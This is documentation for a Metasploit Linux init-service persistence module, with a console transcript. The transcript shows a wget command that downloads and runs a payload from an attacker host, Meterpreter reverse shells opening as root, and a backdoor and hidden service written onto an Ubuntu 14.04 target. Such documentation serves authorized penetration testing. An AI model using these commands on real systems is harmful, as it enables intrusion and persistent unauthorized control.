h00die
115 lines
4.3 KiB
Markdown
115 lines
4.3 KiB
Markdown
## Vulnerable Application
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This module will create a service on the box, and mark it for auto-restart.
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We need enough access to write service files and potentially restart services
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Targets:
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* CentOS 6
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* Fedora >= 9, < 15
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* Ubuntu >= 9.10, <= 14.10
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## Verification Steps
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1. Exploit a box
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2. `use exploit/linux/persistence/init_sysvinit`
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3. `set SESSION <session>`
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4. `set PAYLOAD <payload>`
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5. `set LHOST <lhost>`
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6. `exploit`
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## Options
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### SERVICE
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The name of the service to create. If not chosen, a random one is created.
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### PAYLOAD_NAME
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The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
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### RESTART_LIMIT
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The number of times to restart the service. If using a threaded payload (fetch), this is how many shells you may get. Defaults to 3
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## INIT_FOLDER
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Init folder location. Defaults to `auto`. Choices are:
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`auto` which determines the folder automatically. `init` for `/etc/init` and `init.d` for `/etc/init.d`
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## Scenarios
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### Ubuntu 14.04
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Initial access vector via web delivery
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```
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
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lhost => 111.111.1.111
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload python/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set srvport 8181
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srvport => 8181
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resource (/root/.msf4/msfconsole.rc)> set target 7
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target => 7
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resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4545
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lport => 4545
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resource (/root/.msf4/msfconsole.rc)> set URIPATH l
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URIPATH => l
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Starting persistent handler(s)...
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[*] Started reverse TCP handler on 111.111.1.111:4545
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[*] Using URL: http://111.111.1.111:8181/l
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[*] Server started.
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[*] Run the following command on the target machine:
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wget -qO HvGO7GyB --no-check-certificate http://111.111.1.111:8181/l; chmod +x HvGO7GyB; ./HvGO7GyB& disown
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[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:52092) at 2025-02-16 10:52:49 -0500
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_upstart
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[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
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[msf](Jobs:2 Agents:2) exploit(linux/persistence/init_upstart) > sessions -i 1
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[*] Starting interaction with 1...
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(Meterpreter 1)(/home/ubuntu) > sysinfo
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Computer : Ubuntu14.04
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OS : Ubuntu 14.04 (Linux 3.13.0-24-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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(Meterpreter 1)(/home/ubuntu) > getuid
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Server username: root
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(Meterpreter 1)(/home/ubuntu) > background
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[*] Backgrounding session 1...
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```
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Persistence
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```
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_upstart) > set session 1
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session => 1
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_upstart) > set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_upstart) > exploit
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_upstart) >
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[*] Started reverse TCP handler on 111.111.1.111:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
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[+] The target appears to be vulnerable. /tmp/ is writable and system is upstart based
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[*] Writing backdoor to /tmp//GXhkVaF
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[*] Writing '/tmp//GXhkVaF' (250 bytes) ...
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[*] Writing service: /etc/init/kKxVjJjUUOVq.conf
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[*] Starting service
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/Ubuntu14.04_20250216.5324/Ubuntu14.04_20250216.5324.rc
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[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53847) at 2025-02-16 10:53:24 -0500
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``` |